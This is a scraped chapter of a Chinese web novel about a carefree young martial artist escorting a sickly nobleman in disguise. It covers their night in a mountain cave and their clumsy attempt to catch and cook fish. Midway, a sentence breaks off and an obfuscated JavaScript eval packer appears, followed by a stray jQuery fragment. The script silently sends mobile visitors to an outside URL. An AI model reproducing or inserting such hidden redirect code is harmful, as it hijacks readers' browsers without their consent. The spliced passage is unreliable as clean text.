文趣网 > 都市小说 > 捡到病弱皇子 > 3. 第 3 章
    楚昭禾看他一副要杀要剐随你便的模样,也是被气笑了,头一次遇见这种人。

    不过她又想,她救下他时也没有问过他的意见,兴许他本就无所谓生死呢?那她还索要报酬好像确实有些强人所难……

    等等,那他既然不怕死,又为何要许下重金让她护送他回京城?

    初入江湖的楚昭禾表示:人心太复杂了,想不明白,索性不想了。

    反正她也困了,干脆也找了个地方躺下睡觉,正好和谢惊澜在对角的位置。

    两人谁也没有再说话,不算宽敞的山洞里,谢惊澜很快就听见了楚昭禾熟睡时均匀的呼吸声。

    他睁开了眼睛,看向不远处侧躺着的少女。

    长发用一根红色发带随意扎着,面容白净,五官很立体,是有些英气的长相,但她过于跳脱的言行举止,又中和了这股英气,显出几分少年人的灵动。

    醒着的时候就跟一刻也停不下来似的,睡着了看起来倒老实多了。

    谢惊澜也是有些钦佩于她的没心没肺,难以想象竟然有人在这种情况下还能睡成这样。

    他靠着石壁坐起来,望着忽明忽暗的光影发呆。

    不知道清风那边怎么样了,那伙贼人出现得突然,他此番便装出行,身边跟着的都是武功高强的精锐护卫,按理来说绝不可能会有疏漏,想必是队伍里出现了奸细,与那贼人里应外合,方才让他们有了可乘之机。

    *

    楚昭禾是被冷醒的。

    她上一秒还在梦里吃着美味佳肴,炖得软烂的酥鸭、外焦里嫩的炙羊肉、入口即化的酥山……

    下一秒睁开眼,就在黑漆漆的山洞里,那捆树枝已经燃尽,只余下一堆灰,寒凉的秋风从洞口钻进来,楚昭禾打了个哆嗦。

    梦境与现实形成鲜明对比,她有些苦大仇深地叹了口气。

    注意到原本躺在那边的身影已经消失不见,楚昭禾坐起来,伸了个懒腰,朝外面走去。

    刚走出山洞,就看见前面倒塌的树干上坐着一人,又黑又长的头发,月白的衣裳,还有那有些苍白的皮肤,楚昭禾乍一看还以为撞鬼了。

    也不知道这人什么毛病,大晚上的不睡觉,跑这坐着吹冷风,嫌自己命太硬了不成。

    楚昭禾放轻了脚步,从旁边慢慢地靠近他,然后突然在他耳边打了个响指:“哈!”

    谢惊澜丝毫没有被吓到,只斜了她一眼,道:“……知道你在。”

    楚昭禾很遗憾:“不可能啊?我明明隐藏得很好,你是怎么发现的?”

    谢惊澜:“你难道不知道人有余光这个东西吗?”

    楚昭禾:“好吧,我还以为你专注看着前面,没注意到我呢。”

    “咳咳,那个,我决定了,我就勉为其难地答应你,送你去京城吧!放心好了,只要有我在,绝对不会让你有生命危险,”楚昭禾拍了拍胸脯,又话音一转,“不过嘛,你要是自己半路身体突然出现什么状况,那我就没办法了,毕竟我也不是什么神医。”

    “先说好哦,如果是你自己身体的原因,可与我无关。”

    楚昭禾之所以决定去京城,一方面是因为她突然也有些想去京城玩,据说那里有许多新奇玩意,还有各种美食,上元节时还有很多活动,总之十分热闹,另一方面嘛,则是因为他给的实在太多了……

    何况她上一次去京城还是很小的时候,已经没有多少记忆了,如今顺道去那逛逛也不错,还能赚一大笔钱,这大概会是她完全靠自己而赚到的第一笔钱,楚昭禾想想就有些兴奋。

    谢惊澜听着她说的话,感觉自己在她眼里应该是个随时都会死的病秧子,有些无语:“放心,没那么脆弱。”

    “好!那就这么愉快地决定了,击掌为约。”楚昭禾站在他面前,伸出手掌。

    谢惊澜抬眼看去,正撞进她琥珀色的眼眸,月光透过稀疏枝叶,洒落在她的眉眼。

    见他没有动作,楚昭禾又晃了晃手,示意他快点。

    无奈之下,谢惊澜只好抬手和她轻轻碰了一下,手心相贴,一触即离。

    他实在是不太懂,这种毫无约束力的约定方式,有什么必要呢?这姑娘怕是话本看多了,脑子不太灵光。

    楚昭禾并不知道某人正在心里暗暗吐槽她,转头又去河边琢磨着抓鱼的事了。

    哎……指望这病秧子找吃的,怕是得饿死,还是得靠自己才行。

    楚昭禾跳到一块位于水中央的青石上,将袖口挽起,露出两条白皙纤细的手臂。

    好在她夜视能力还不错,借着月光能勉强辨清水里的动静。

    溪水的深浅刚好,隐约可见水底的鹅卵石,几尾小鱼慢悠悠地在水草中穿行。

    楚昭禾蹲下身来,将手探进微凉的溪水,朝那游动的鱼影一抓,结果抓了个空,接连几次,都以失败告终。

    谢惊澜不知何时站在了水边,双手抱臂:“你行不行啊?”语气散漫,颇有些看热闹的意思。

    “我不行,难道你行啊?”楚昭禾头也未回,只将手往后一扬,一泼水朝声音的来源扑去。

    谢惊澜猝不及防,连忙往后退了几步,闭嘴不再说话了。

    脾气还挺大。

    楚昭禾又道:“你等着看吧,刚刚那几次只是练习,接下来我要认真了。”

    她凝神盯着水里的动静,屏住呼吸,耐心等待,指尖触到湿滑的鱼身时,五指猛然收紧。

    她眼睛一亮,举起手来,果然,鱼在她的掌心里奋力地甩着尾巴。

    楚昭禾看向谢惊澜,扬声道:“你看这是什么?”声音里有几分得意。

    笑得有点傻,谢惊澜想。

    对着眼前抓着鱼“耀武扬威”的楚昭禾,他配合地鼓了下掌:“嗯,厉害。”奈何语气平平,听起来没几分真心实意。

    楚昭禾不满道:“就这?你就这点反应??”

    谢惊澜:“行,那你想我说什么,我照着说行了吧。”

    楚昭禾翻了个白眼:“没意思。”

    她将手中的鱼丢到岸上,又趁热打铁抓了一条,才跳回岸边。

    谢惊澜此时已经又找了条树干坐着,姿态懒散,不知道的还以为他是来这闲游的。

    楚昭禾蹲着看地上的两条鱼,面露难色,扭头问道:“那谁,你会不会杀鱼啊?”

    谢惊澜给了她一个眼神,意思很明显:你看我像是会杀鱼的样子吗?

    楚昭禾:“诶呀,你那把匕首我看着很适合杀鱼啊,你拿过来试试呗,不试怎么知道会不会呢?我负责抓鱼,你负责杀鱼,多好!”

    谢惊澜:?

    他那把匕首乃是西域的珍稀玉石琉玉制成,这种玉石本就十分罕见,而能做成一把匕首的更是万里挑一,刀身莹白如霜,坚硬无比,寻常的武器不能损其分毫。

    他还是头一次听人说,这把匕首适合用来杀鱼。

    楚昭禾不知道他为什么看起来脸色又不太好,不过她管不了那么多,只继续道:“快点呀!你还想不想吃鱼了?你不饿我都要饿死了,你再不过来我就过去抓你了哦!”

    谢惊澜闻言,终于不情不愿地起身走过来。

    他从袖子里摸出那把价值连城的匕首,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968655|214609||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    没好气地说:“怎么杀?”

    楚昭禾摸了摸下巴:“唔……你先把鱼鳞给刮了吧。”

    刮鱼鳞……要是让认识的人知道他在这刮鱼鳞,怕是要笑掉大牙。

    谢惊澜皱着眉做了一番心理建设,才终于屈尊降贵地伸出两个手指捏着鱼头,动作看起来十分僵硬。

    鱼因为上岸了有段时间,已经没有最初那样活泼,正好方便了他动手。

    削铁如泥的匕首,刮起鱼鳞也是轻而易举,虽然谢惊澜的动作十分生涩,但在工具的加成下,到底还是勉强刮好了。

    楚昭禾很满意:“嗯,不错不错。接下来嘛……把内脏给去了吧。”

    生无可恋的谢惊澜此时已经化作了冰冷的杀鱼机器,闻言直接在鱼肚子上划了一刀。

    然而剩下的部分就有些难了。

    楚昭禾十分后悔之前为什么没有学习一下杀鱼,她心里懊恼着,面上却故作高深地指挥:“把这块去了吧,嗯,这个也不要了,还有这个……”

    眼见着越去越多,谢惊澜顿了顿,抬头狐疑道:“……你确定?”

    楚昭禾有些心虚:“哈哈哈……大概可能也许或许确定吧?”

    谢惊澜深吸了一口气,告诉自己冷静。

    于是大晚上的,两个人就这样蹲在地上,千辛万苦地处理好了两条鱼。

    只是成果看起来有些惨不忍睹,鱼身被割得坑坑洼洼,鱼肉也被切得稀碎,差点在树枝上都挂不住。

    刚弄好,谢惊澜就迅速走到河边洗手,顺道洗那把匕首。

    楚昭禾算是见识到他的洁癖了,她在这边都生好火开始烤鱼了,他还在那搓来搓去。

    烤好鱼,楚昭禾递了一条给他,问道:“对了,你还没告诉我你是谁呢。”

    谢惊澜接过鱼,默了默,才回道:“在下京城盐商徐家之子,徐青。”

    徐家是有名的富商,产业遍布多地,家中人丁繁茂,子嗣众多,这也是谢惊澜选择借用徐家身份的原因。

    至于“徐青”这个名字,则是他临时瞎编的。

    楚昭禾远居北地,对京城的人物不甚了解,但是“盐商”什么的,感觉听起来就挺厉害的。

    “哦,难怪你张口就是一千两的,”楚昭禾又道,“我是江湖人士,自幼跟着师父学习武功,这不,现在自己出来闯荡了。你可以叫我小禾。”

    她说完,咬了一口手里的鱼肉,刚入口,就发现味道不对。

    怎么这么苦!!!

    刚想吐掉,余光注意到谢惊澜正要将鱼送到嘴边,她硬生生忍住了,有些期待地等着他接下来的反应。

    谢惊澜吃东西时的动作很是慢条斯理,只先试探性地咬了一小口,然后就僵住了。

    旁边的楚昭禾见状,立马吐掉了口中苦涩的鱼肉,发出了幸灾乐祸的笑声。

    谢惊澜的性格不容许他在外人面前吐出食物,他只好强迫自己咽了下去。

    他将鱼扔在地上,朝楚昭禾微笑道:“好笑吗?”

    楚昭禾自知理亏,忍住了笑:“呵呵,好像也不是很好笑。”

    “这下好了,好不容易烤好的鱼,结果竟然这么苦!我该不会成为世上第一个被饿死的绝世高手吧……”她欲哭无泪。

    谢惊澜简直匪夷所思:“连鱼都不会烤,你也好意思说自己出来闯荡江湖?还绝世高手……你这些年到底怎么活下来的?”

    楚昭禾叹气:“实不相瞒……今天是我正式闯荡江湖的第三天……这也是为什么现在江湖上还没有我的传说的原因之一。”

    谢惊澜:“……”